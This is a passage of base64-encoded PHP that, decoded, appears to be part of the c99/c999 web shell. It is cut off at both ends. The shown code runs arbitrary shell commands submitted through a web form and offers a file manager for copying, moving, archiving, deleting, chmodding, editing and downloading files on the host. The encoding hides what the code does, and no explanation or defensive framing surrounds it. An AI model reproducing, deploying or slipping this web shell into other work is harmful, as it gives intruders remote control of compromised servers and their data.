ZXRlICIuaHRtbHNwZWNpYWxjaGFycygkdikuIjxicj4iO30KIH0KIGlmICghZW1wdHkoJGRlbGVycikp IHtlY2hvICI8Yj5EZWxldGluZyB3aXRoIGVycm9yczo8L2I+PGJyPiIuJGRlbGVycjt9CiAkYWN0ID0g ImxzIjsKfQppZiAoISR1c2Vmc2J1ZmYpCnsKIGlmICgoJGFjdCA9PSAicGFzdGUiKSBvciAoJGFjdCA9 PSAiY29weSIpIG9yICgkYWN0ID09ICJjdXQiKSBvciAoJGFjdCA9PSAidW5zZWxlY3QiKSkge2VjaG8g IjxjZW50ZXI+PGI+U29ycnksIGJ1ZmZlciBpcyBkaXNhYmxlZC4gRm9yIGVuYWJsZSwgc2V0IGRpcmVj

dGl2ZSBcIlwkdXNlRlNidWZmXCIgYXMgVFJVRS48L2NlbnRlcj4iO30KfQplbHNlCnsKIGlmICgkYWN0 ID09ICJjb3B5IikgeyRlcnIgPSAiIjsgJHNlc3NfZGF0YVsiY29weSJdID0gYXJyYXlfbWVyZ2UoJHNl c3NfZGF0YVsiY29weSJdLCRhY3Rib3gpOyBjOTk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOyAkYWN0ID0g ImxzIjsgfQogZWxzZWlmICgkYWN0ID09ICJjdXQiKSB7JHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheV9t ZXJnZSgkc2Vzc19kYXRhWyJjdXQiXSwkYWN0Ym94KTsgYzk5OV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsg JGFjdCA9ICJscyI7fQogZWxzZWlmICgkYWN0ID09ICJ1bnNlbGVjdCIpIHtmb3JlYWNoICgkc2Vzc19k YXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7aWYgKGluX2FycmF5KCR2LCRhY3Rib3gpKSB7dW5zZXQoJHNl c3NfZGF0YVsiY29weSJdWyRrXSk7fX0gZm9yZWFjaCAoJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2 KSB7aWYgKGluX2FycmF5KCR2LCRhY3Rib3gpKSB7dW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTt9 fSBjOTk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOyAkYWN0ID0gImxzIjt9CiBpZiAoJGFjdGVtcHR5YnVm ZikgeyRzZXNzX2RhdGFbImNvcHkiXSA9ICRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXkoKTsgYzk5OV9z ZXNzX3B1dCgkc2Vzc19kYXRhKTt9CiBlbHNlaWYgKCRhY3RwYXN0ZWJ1ZmYpCiB7CiAgJHBzdGVyciA9 ICIiOwogIGZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikKICB7CiAgICR0byA9ICRk LmJhc2VuYW1lKCR2KTsKICAgaWYgKCFmc19jb3B5X29iaigkdiwkdG8pKSB7JHBzdGVyciAuPSAiQ2Fu J3QgY29weSAiLiR2LiIgdG8gIi4kdG8uIiE8YnI+Ijt9CiAgIGlmICgkY29weV91bnNldCkge3Vuc2V0 KCRzZXNzX2RhdGFbImNvcHkiXVska10pO30KICB9CiAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBh cyAkaz0+JHYpCiAgewogICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7CiAgIGlmICghZnNfbW92ZV9vYmoo JHYsJHRvKSkgeyRwc3RlcnIgLj0gIkNhbid0IG1vdmUgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQog ICB1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pOwogIH0KICBjOTk5X3Nlc3NfcHV0KCRzZXNzX2Rh dGEpOwogIGlmICghZW1wdHkoJHBzdGVycikpIHtlY2hvICI8Yj5QYXN0aW5nIHdpdGggZXJyb3JzOjwv Yj48YnI+Ii4kcHN0ZXJyO30KICAkYWN0ID0gImxzIjsKIH0KIGVsc2VpZiAoJGFjdGFyY2J1ZmYpCiB7 CiAgJGFyY2VyciA9ICIiOwogIGlmIChzdWJzdHIoJGFjdGFyY2J1ZmZfcGF0aCwtNyw3KSA9PSAiLnRh ci5neiIpIHskZXh0ID0gIi50YXIuZ3oiO30KICBlbHNlIHskZXh0ID0gIi50YXIuZ3oiO30KICBpZiAo JGV4dCA9PSAiLnRhci5neiIpIHskY21kbGluZSA9ICJ0YXIgY2Z6diI7fQogICRjbWRsaW5lIC49ICIg Ii4kYWN0YXJjYnVmZl9wYXRoOwogICRvYmplY3RzID0gYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29w eSJdLCRzZXNzX2RhdGFbImN1dCJdKTsKICBmb3JlYWNoKCRvYmplY3RzIGFzICR2KQogIHsKICAgJHYg PSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHYpOwogICBpZiAoc3Vic3RyKCR2 LDAsc3RybGVuKCRkKSkgPT0gJGQpIHskdiA9IGJhc2VuYW1lKCR2KTt9CiAgIGlmIChpc19kaXIoJHYp KQogICB7CiAgICBpZiAoc3Vic3RyKCR2LC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHYgLj0g RElSRUNUT1JZX1NFUEFSQVRPUjt9CiAgICAkdiAuPSAiKiI7CiAgIH0KICAgJGNtZGxpbmUgLj0gIiAi LiR2OwogIH0KICAkdG1wID0gcmVhbHBhdGgoIi4iKTsKICBjaGRpcigkZCk7CiAgJHJldCA9IG15c2hl bGxleGVjKCRjbWRsaW5lKTsKICBjaGRpcigkdG1wKTsKICBpZiAoZW1wdHkoJHJldCkpIHskYXJjZXJy IC49ICJDYW4ndCBjYWxsIGFyY2hpdmF0b3IgKCIuaHRtbHNwZWNpYWxjaGFycyhzdHIybWluaSgkY21k bGluZSw2MCkpLiIpITxicj4iO30KICAkcmV0ID0gc3RyX3JlcGxhY2UoIlxyXG4iLCJcbiIsJHJldCk7 CiAgJHJldCA9IGV4cGxvZGUoIlxuIiwkcmV0KTsKICBpZiAoJGNvcHlfdW5zZXQpIHtmb3JlYWNoKCRz ZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTt9 fQogIGZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KQogIHsKICAgaWYgKGluX2FycmF5 KCR2LCRyZXQpKSB7ZnNfcm1vYmooJHYpO30KICAgdW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTsK ICB9CiAgYzk5OV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsKICBpZiAoIWVtcHR5KCRhcmNlcnIpKSB7ZWNo byAiPGI+QXJjaGl2YXRpb24gZXJyb3JzOjwvYj48YnI+Ii4kYXJjZXJyO30KICAkYWN0ID0gImxzIjsK IH0KIGVsc2VpZiAoJGFjdHBhc3RlYnVmZikKIHsKICAkcHN0ZXJyID0gIiI7CiAgZm9yZWFjaCgkc2Vz c19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KQogIHsKICAgJHRvID0gJGQuYmFzZW5hbWUoJHYpOwogICBp ZiAoIWZzX2NvcHlfb2JqKCR2LCRkKSkgeyRwc3RlcnIgLj0gIkNhbid0IGNvcHkgIi4kdi4iIHRvICIu JHRvLiIhPGJyPiI7fQogICBpZiAoJGNvcHlfdW5zZXQpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1b JGtdKTt9CiAgfQogIGZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KQogIHsKICAgJHRv ID0gJGQuYmFzZW5hbWUoJHYpOwogICBpZiAoIWZzX21vdmVfb2JqKCR2LCRkKSkgeyRwc3RlcnIgLj0g IkNhbid0IG1vdmUgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQogICB1bnNldCgkc2Vzc19kYXRhWyJj dXQiXVska10pOwogIH0KICBjOTk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOwogIGlmICghZW1wdHkoJHBz dGVycikpIHtlY2hvICI8Yj5QYXN0aW5nIHdpdGggZXJyb3JzOjwvYj48YnI+Ii4kcHN0ZXJyO30KICAk YWN0ID0gImxzIjsKIH0KfQppZiAoJGFjdCA9PSAiY21kIikKewppZiAodHJpbSgkY21kKSA9PSAicHMg LWF1eCIpIHskYWN0ID0gInByb2Nlc3NlcyI7fQplbHNlaWYgKHRyaW0oJGNtZCkgPT0gInRhc2tsaXN0 IikgeyRhY3QgPSAicHJvY2Vzc2VzIjt9CmVsc2UKewogQGNoZGlyKCRjaGRpcik7CiBpZiAoIWVtcHR5 KCRzdWJtaXQpKQogewogIGVjaG8gIjxiPlJlc3VsdCBvZiBleGVjdXRpb24gdGhpcyBjb21tYW5kPC9i Pjo8YnI+IjsKICAkb2xkZGlyID0gcmVhbHBhdGgoIi4iKTsKICBAY2hkaXIoJGQpOwogICRyZXQgPSBt eXNoZWxsZXhlYygkY21kKTsKICAkcmV0ID0gY29udmVydF9jeXJfc3RyaW5nKCRyZXQsImQiLCJ3Iik7 CiAgaWYgKCRjbWRfdHh0KQogIHsKICAgJHJvd3MgPSBjb3VudChleHBsb2RlKCJcclxuIiwkcmV0KSkr MTsKICAgaWYgKCRyb3dzIDwgMTApIHskcm93cyA9IDEwO30KICAgZWNobyAiPGJyPjx0ZXh0YXJlYSBj b2xzPVwiMTIyXCIgcm93cz1cIiIuJHJvd3MuIlwiIHJlYWRvbmx5PiIuaHRtbHNwZWNpYWxjaGFycygk cmV0KS4iPC90ZXh0YXJlYT4iOwogIH0KICBlbHNlIHtlY2hvICRyZXQuIjxicj4iO30KICBAY2hkaXIo JG9sZGRpcik7CiB9CiBlbHNlIHtlY2hvICI8Yj5FeGVjdXRpb24gY29tbWFuZDwvYj4iOyBpZiAoZW1w

dHkoJGNtZF90eHQpKSB7JGNtZF90eHQgPSBUUlVFO319CiBlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRz dXJsLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9Y21kPjx0 ZXh0YXJlYSBuYW1lPWNtZCBjb2xzPTEyMiByb3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFycygkY21kKS4i PC90ZXh0YXJlYT48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cImRcIiB2YWx1ZT1cIiIuJGRpc3BkLiJc Ij48YnI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIkV4ZWN1dGVcIj4m bmJzcDtEaXNwbGF5IGluIHRleHQtYXJlYSZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1l PVwiY21kX3R4dFwiIHZhbHVlPVwiMVwiIjsgaWYgKCRjbWRfdHh0KSB7ZWNobyAiIGNoZWNrZWQiO30g ZWNobyAiPjwvZm9ybT4iOwp9Cn0KaWYgKCRhY3QgPT0gImxzIikKewogaWYgKGNvdW50KCRsc19hcnIp ID4gMCkgeyRsaXN0ID0gJGxzX2Fycjt9CiBlbHNlCiB7CiAgJGxpc3QgPSBhcnJheSgpOwogIGlmICgk aCA9IEBvcGVuZGlyKCRkKSkKICB7CiAgIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IEZBTFNF KSB7JGxpc3RbXSA9ICRkLiRvO30KICAgY2xvc2VkaXIoJGgpOwogIH0KICBlbHNlIHt9CiB9CiBpZiAo Y291bnQoJGxpc3QpID09IDApIHtlY2hvICI8Y2VudGVyPjxiPkNhbid0IG9wZW4gZm9sZGVyICgiLmh0 bWxzcGVjaWFsY2hhcnMoJGQpLiIpITwvYj48L2NlbnRlcj4iO30KIGVsc2UKIHsKICAvL0J1aWxkaW5n IGFycmF5CiAgJG9iamVjdHMgPSBhcnJheSgpOwogICR2ZCA9ICJmIjsgLy9WaWV3aW5nIG1vZGUKICAK ICBpZiAoJHZkID09ICJmIikKICB7CiAgICRvYmplY3RzWyJoZWFkIl0gPSBhcnJheSgpOwogICAkb2Jq ZWN0c1siZm9sZGVycyJdID0gYXJyYXkoKTsKICAgJG9iamVjdHNbImxpbmtzIl0gPSBhcnJheSgpOwog ICAkb2JqZWN0c1siZmlsZXMiXSA9IGFycmF5KCk7CiAgIGZvcmVhY2ggKCRsaXN0IGFzICR2KQogICB7 CiAgICAkbyA9IGJhc2VuYW1lKCR2KTsKICAgICRyb3cgPSBhcnJheSgpOwogICAgaWYgKCRvID09ICIu IikgeyRyb3dbXSA9ICRkLiRvOyAkcm93W10gPSAiTElOSyI7fQogICAgZWxzZWlmICgkbyA9PSAiLi4i KSB7JHJvd1tdID0gJGQuJG87ICRyb3dbXSA9ICJMSU5LIjt9CiAgICBlbHNlaWYgKGlzX2Rpcigkdikp CiAgICB7CiAgICAgaWYgKGlzX2xpbmsoJHYpKSB7JHR5cGUgPSAiTElOSyI7fQogICAgIGVsc2UgeyR0 eXBlID0gIkRJUiI7fQogICAgICRyb3dbXSA9ICR2OwogICAgICRyb3dbXSA9ICR0eXBlOwogICAgfQog ICAgZWxzZWlmKGlzX2ZpbGUoJHYpKSB7JHJvd1tdID0gJHY7ICRyb3dbXSA9IGZpbGVzaXplKCR2KTt9 CiAgICAkcm93W10gPSBmaWxlbXRpbWUoJHYpOwogICAgaWYgKCEkd2luKQogICAgewogICAgICRvdyA9 IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkdikpOwogICAgICRnciA9IHBvc2l4X2dldGdyZ2lkKGZp bGVncm91cCgkdikpOwogICAgICRyb3dbXSA9ICgkb3dbIm5hbWUiXT8kb3dbIm5hbWUiXTpmaWxlb3du ZXIoJHYpKS4iLyIuKCRnclsibmFtZSJdPyRnclsibmFtZSJdOmZpbGVncm91cCgkdikpOwogICAgfQog ICAgJHJvd1tdID0gZmlsZXBlcm1zKCR2KTsKICAgIGlmICgoJG8gPT0gIi4iKSBvciAoJG8gPT0gIi4u IikpIHskb2JqZWN0c1siaGVhZCJdW10gPSAkcm93O30KICAgIGVsc2VpZiAoaXNfbGluaygkdikpIHsk b2JqZWN0c1sibGlua3MiXVtdID0gJHJvdzt9CiAgICBlbHNlaWYgKGlzX2RpcigkdikpIHskb2JqZWN0 c1siZm9sZGVycyJdW10gPSAkcm93O30KICAgIGVsc2VpZiAoaXNfZmlsZSgkdikpIHskb2JqZWN0c1si ZmlsZXMiXVtdID0gJHJvdzt9CiAgICAkaSsrOwogICB9CiAgICRyb3cgPSBhcnJheSgpOwogICAkcm93 W10gPSAiPGI+TmFtZTwvYj4iOwogICAkcm93W10gPSAiPGI+U2l6ZTwvYj4iOwogICAkcm93W10gPSAi PGI+TW9kaWZ5PC9iPiI7CiAgIGlmICghJHdpbikKICB7JHJvd1tdID0gIjxiPk93bmVyL0dyb3VwPC9i PiI7fQogICAkcm93W10gPSAiPGI+UGVybXM8L2I+IjsKICAgJHJvd1tdID0gIjxiPkFjdGlvbjwvYj4i OwogICAkcGFyc2Vzb3J0ID0gcGFyc2Vzb3J0KCRzb3J0KTsKICAgJHNvcnQgPSAkcGFyc2Vzb3J0WzBd LiRwYXJzZXNvcnRbMV07CiAgICRrID0gJHBhcnNlc29ydFswXTsKICAgaWYgKCRwYXJzZXNvcnRbMV0g IT0gImEiKSB7JHBhcnNlc29ydFsxXSA9ICJkIjt9CiAgICR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJh Y3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZzb3J0PSIuJGsuKCRwYXJzZXNvcnRbMV0g PT0gImEiPyJkIjoiYSIpLiJcIj4iOwogICAkeSAuPSAiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1n JmltZz1zb3J0XyIuKCRzb3J0WzFdID09ICJhIj8iYXNjIjoiZGVzYyIpLiJcIiBoZWlnaHQ9XCI5XCIg d2lkdGg9XCIxNFwiIGFsdD1cIiIuKCRwYXJzZXNvcnRbMV0gPT0gImEiPyJBc2MuIjoiRGVzYyIpLiJc IiBib3JkZXI9XCIwXCI+PC9hPiI7CiAgICRyb3dbJGtdIC49ICR5OwogICBmb3IoJGk9MDskaTxjb3Vu dCgkcm93KS0xOyRpKyspCiAgIHsKICAgIGlmICgkaSAhPSAkaykgeyRyb3dbJGldID0gIjxhIGhyZWY9 XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZzb3J0PSIuJGkuJHBh cnNlc29ydFsxXS4iXCI+Ii4kcm93WyRpXS4iPC9hPiI7fQogICB9CiAgICR2ID0gJHBhcnNlc29ydFsw XTsKICAgdXNvcnQoJG9iamVjdHNbImZvbGRlcnMiXSwgInRhYnNvcnQiKTsKICAgdXNvcnQoJG9iamVj dHNbImxpbmtzIl0sICJ0YWJzb3J0Iik7CiAgIHVzb3J0KCRvYmplY3RzWyJmaWxlcyJdLCAidGFic29y dCIpOwogICBpZiAoJHBhcnNlc29ydFsxXSA9PSAiZCIpCiAgIHsKICAgICRvYmplY3RzWyJmb2xkZXJz Il0gPSBhcnJheV9yZXZlcnNlKCRvYmplY3RzWyJmb2xkZXJzIl0pOwogICAgJG9iamVjdHNbImZpbGVz Il0gPSBhcnJheV9yZXZlcnNlKCRvYmplY3RzWyJmaWxlcyJdKTsKICAgfQogICAkb2JqZWN0cyA9IGFy cmF5X21lcmdlKCRvYmplY3RzWyJoZWFkIl0sJG9iamVjdHNbImZvbGRlcnMiXSwkb2JqZWN0c1sibGlu a3MiXSwkb2JqZWN0c1siZmlsZXMiXSk7CiAgICR0YWIgPSBhcnJheSgpOwogICAkdGFiWyJjb2xzIl0g PSBhcnJheSgkcm93KTsKICAgJHRhYlsiaGVhZCJdID0gYXJyYXkoKTsKICAgJHRhYlsiZm9sZGVycyJd ID0gYXJyYXkoKTsKICAgJHRhYlsibGlua3MiXSA9IGFycmF5KCk7CiAgICR0YWJbImZpbGVzIl0gPSBh cnJheSgpOwogICAkaSA9IDA7CiAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRhKQogICB7CiAgICAkdiA9 ICRhWzBdOwogICAgJG8gPSBiYXNlbmFtZSgkdik7CiAgICAkZGlyID0gZGlybmFtZSgkdik7CiAgICBp ZiAoJGRpc3BfZnVsbHBhdGgpIHskZGlzcHBhdGggPSAkdjt9CiAgICBlbHNlIHskZGlzcHBhdGggPSAk bzt9CiAgICAkZGlzcHBhdGggPSBzdHIybWluaSgkZGlzcHBhdGgsNjApOwogICAgaWYgKGluX2FycmF5 KCR2LCRzZXNzX2RhdGFbImN1dCJdKSkgeyRkaXNwcGF0aCA9ICI8c3RyaWtlPiIuJGRpc3BwYXRoLiI8

L3N0cmlrZT4iO30KICAgIGVsc2VpZiAoaW5fYXJyYXkoJHYsJHNlc3NfZGF0YVsiY29weSJdKSkgeyRk aXNwcGF0aCA9ICI8dT4iLiRkaXNwcGF0aC4iPC91PiI7fQogICAgZm9yZWFjaCAoJHJlZ3hwX2hpZ2hs aWdodCBhcyAkcikKICAgIHsKICAgICBpZiAoZXJlZygkclswXSwkbykpCiAgICAgewogICAgICBpZiAo KCFpc19udW1lcmljKCRyWzFdKSkgb3IgKCRyWzFdID4gMykpIHskclsxXSA9IDA7IG9iX2NsZWFuKCk7 IGVjaG8gIldhcm5pbmchIENvbmZpZ3VyYXRpb24gZXJyb3IgaW4gXCRyZWd4cF9oaWdobGlnaHRbIi4k ay4iXVswXSAtIHVua25vd24gY29tbWFuZC4iOyBjOTk5c2hleGl0KCk7fQogICAgICBlbHNlCiAgICAg IHsKICAgICAgICRyWzFdID0gcm91bmQoJHJbMV0pOwogICAgICAgJGlzZGlyID0gaXNfZGlyKCR2KTsK ICAgICAgIGlmICgoJHJbMV0gPT0gMCkgb3IgKCgkclsxXSA9PSAxKSBhbmQgISRpc2Rpcikgb3IgKCgk clsxXSA9PSAyKSBhbmQgISRpc2RpcikpCiAgICAgICB7CiAgICAgICAgaWYgKGVtcHR5KCRyWzJdKSkg eyRyWzJdID0gIjxiPiI7ICRyWzNdID0gIjwvYj4iO30KICAgICAgICAkZGlzcHBhdGggPSAkclsyXS4k ZGlzcHBhdGguJHJbM107CiAgICAgICAgaWYgKCRyWzRdKSB7YnJlYWs7fQogICAgICAgfQogICAgICB9 CiAgICAgfQogICAgfQogICAgJHVvID0gdXJsZW5jb2RlKCRvKTsKICAgICR1ZCA9IHVybGVuY29kZSgk ZGlyKTsKICAgICR1diA9IHVybGVuY29kZSgkdik7CiAgICAkcm93ID0gYXJyYXkoKTsKICAgIGlmICgk byA9PSAiLiIpCiAgICB7CiAgICAgJHJvd1tdID0gIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZp bWc9c21hbGxfZGlyXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE5XCIgYm9yZGVyPVwiMFwiPiZuYnNw OzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZShyZWFscGF0aCgk ZC4kbykpLiImc29ydD0iLiRzb3J0LiJcIj4iLiRvLiI8L2E+IjsKICAgICAkcm93W10gPSAiTElOSyI7 CiAgICB9CiAgICBlbHNlaWYgKCRvID09ICIuLiIpCiAgICB7CiAgICAgJHJvd1tdID0gIjxpbWcgc3Jj PVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X2xua1wiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxOVwi IGJvcmRlcj1cIjBcIj4mbmJzcDs8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51 cmxlbmNvZGUocmVhbHBhdGgoJGQuJG8pKS4iJnNvcnQ9Ii4kc29ydC4iXCI+Ii4kby4iPC9hPiI7CiAg ICAgJHJvd1tdID0gIkxJTksiOwogICAgfQogICAgZWxzZWlmIChpc19kaXIoJHYpKQogICAgewogICAg IGlmIChpc19saW5rKCR2KSkKICAgICB7CiAgICAgICRkaXNwcGF0aCAuPSAiID0+ICIucmVhZGxpbmso JHYpOwogICAgICAkdHlwZSA9ICJMSU5LIjsKICAgICAgJHJvd1tdID0gICI8aW1nIHNyYz1cIiIuJHN1 cmwuImFjdD1pbWcmaW1nPWV4dF9sbmtcIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTZcIiBib3JkZXI9 XCIwXCI+Jm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1scyZkPSIuJHV2LiImc29ydD0iLiRzb3J0 LiJcIj5bIi4kZGlzcHBhdGguIl08L2E+IjsKICAgICB9CiAgICAgZWxzZQogICAgIHsKICAgICAgJHR5 cGUgPSAiRElSIjsKICAgICAgJHJvd1tdID0gICI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1n PXNtYWxsX2RpclwiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxOVwiIGJvcmRlcj1cIjBcIj4mbmJzcDs8 YSBocmVmPVwiIi4kc3VybC4iYWN0PWxzJmQ9Ii4kdXYuIiZzb3J0PSIuJHNvcnQuIlwiPlsiLiRkaXNw cGF0aC4iXTwvYT4iOwogICAgICB9CiAgICAgJHJvd1tdID0gJHR5cGU7CiAgICB9CiAgICBlbHNlaWYo aXNfZmlsZSgkdikpCiAgICB7CiAgICAgJGV4dCA9IGV4cGxvZGUoIi4iLCRvKTsKICAgICAkYyA9IGNv dW50KCRleHQpLTE7CiAgICAgJGV4dCA9ICRleHRbJGNdOwogICAgICRleHQgPSBzdHJ0b2xvd2VyKCRl eHQpOwogICAgICRyb3dbXSA9ICAiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfIi4k ZXh0LiJcIiBib3JkZXI9XCIwXCI+Jm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii4kdW8u IiZkPSIuJHVkLiImXCI+Ii4kZGlzcHBhdGguIjwvYT4iOwogICAgICRyb3dbXSA9IHZpZXdfc2l6ZSgk YVsxXSk7CiAgICB9CiAgICAkcm93W10gPSBkYXRlKCJkLm0uWSBIOmk6cyIsJGFbMl0pOwogICAgaWYg KCEkd2luKSB7JHJvd1tdID0gJGFbM107fQogICAgJHJvd1tdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJh Y3Q9Y2htb2QmZj0iLiR1by4iJmQ9Ii4kdWQuIlwiPjxiPiIudmlld19wZXJtc19jb2xvcigkdikuIjwv Yj48L2E+IjsKICAgIGlmICgkbyA9PSAiLiIpIHskY2hlY2tib3ggPSAiPGlucHV0IHR5cGU9XCJjaGVj a2JveFwiIG5hbWU9XCJhY3Rib3hbXVwiIG9uY2xpY2s9XCJsc19yZXZlcnNlX2FsbCgpO1wiPiI7ICRp LS07fQogICAgZWxzZSB7JGNoZWNrYm94ID0gIjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwi YWN0Ym94W11cIiBpZD1cImFjdGJveCIuJGkuIlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCR2 KS4iXCI+Ijt9CiAgICBpZiAoaXNfZGlyKCR2KSkgeyRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4i YWN0PWQmZD0iLiR1di4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfZGl6XCIg YWx0PVwiSW5mb1wiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxNlwiIGJvcmRlcj1cIjBcIj48L2E+Jm5i c3A7Ii4kY2hlY2tib3g7fQogICAgZWxzZSB7JHJvd1tdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9 ZiZmPSIuJHVvLiImZnQ9aW5mbyZkPSIuJHVkLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcm aW1nPWV4dF9kaXpcIiBhbHQ9XCJJbmZvXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE2XCIgYm9yZGVy PVwiMFwiPjwvYT4mbmJzcDs8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLiR1by4iJmZ0PWVkaXQm ZD0iLiR1ZC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1jaGFuZ2VcIiBhbHQ9XCJD aGFuZ2VcIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTlcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOzxh IGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIuJHVvLiImZnQ9ZG93bmxvYWQmZD0iLiR1ZC4iXCI+PGlt ZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1kb3dubG9hZFwiIGFsdD1cIkRvd25sb2FkXCIgaGVp Z2h0PVwiMTZcIiB3aWR0aD1cIjE5XCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDsiLiRjaGVja2JveDt9 CiAgICBpZiAoKCRvID09ICIuIikgb3IgKCRvID09ICIuLiIpKSB7JHRhYlsiaGVhZCJdW10gPSAkcm93 O30KICAgIGVsc2VpZiAoaXNfbGluaygkdikpIHskdGFiWyJsaW5rcyJdW10gPSAkcm93O30KICAgIGVs c2VpZiAoaXNfZGlyKCR2KSkgeyR0YWJbImZvbGRlcnMiXVtdID0gJHJvdzt9CiAgICBlbHNlaWYgKGlz X2ZpbGUoJHYpKSB7JHRhYlsiZmlsZXMiXVtdID0gJHJvdzt9CiAgICAkaSsrOwogICB9CiAgfQogIC8v IENvbXBpbGluZyB0YWJsZQogICR0YWJsZSA9IGFycmF5X21lcmdlKCR0YWJbImNvbHMiXSwkdGFiWyJo

ZWFkIl0sJHRhYlsiZm9sZGVycyJdLCR0YWJbImxpbmtzIl0sJHRhYlsiZmlsZXMiXSk7CiAgZWNobyAi PGNlbnRlcj48Yj5MaXN0aW5nIGZvbGRlciAoIi5jb3VudCgkdGFiWyJmaWxlcyJdKS4iIGZpbGVzIGFu ZCAiLihjb3VudCgkdGFiWyJmb2xkZXJzIl0pK2NvdW50KCR0YWJbImxpbmtzIl0pKS4iIGZvbGRlcnMp OjwvYj48L2NlbnRlcj48YnI+PFRBQkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCB3aWR0aD0x MDAlIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSM0MzMzMzMgYm9yZGVyPTA+PGZvcm0g YWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1QgbmFtZT1cImxzX2Zvcm1cIj48aW5wdXQgdHlw ZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9Ii4kZHNwYWN0LiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9 ZCB2YWx1ZT0iLiRkLiI+IjsKICBmb3JlYWNoKCR0YWJsZSBhcyAkcm93KQogIHsKICAgZWNobyAiPHRy PlxyXG4iOwogICBmb3JlYWNoKCRyb3cgYXMgJHYpIHtlY2hvICI8dGQ+Ii4kdi4iPC90ZD5cclxuIjt9 CiAgIGVjaG8gIjwvdHI+XHJcbiI7CiAgfQogIGVjaG8gIjwvdGFibGU+PGhyIHNpemU9XCIxXCIgbm9z aGFkZT48cCBhbGlnbj1cInJpZ2h0XCI+CiAgPHNjcmlwdD4KICBmdW5jdGlvbiBsc19zZXRjaGVja2Jv eGFsbChzdGF0dXMpCiAgewogICB2YXIgaWQgPSAxOwogICB2YXIgbnVtID0gIi4oY291bnQoJHRhYmxl 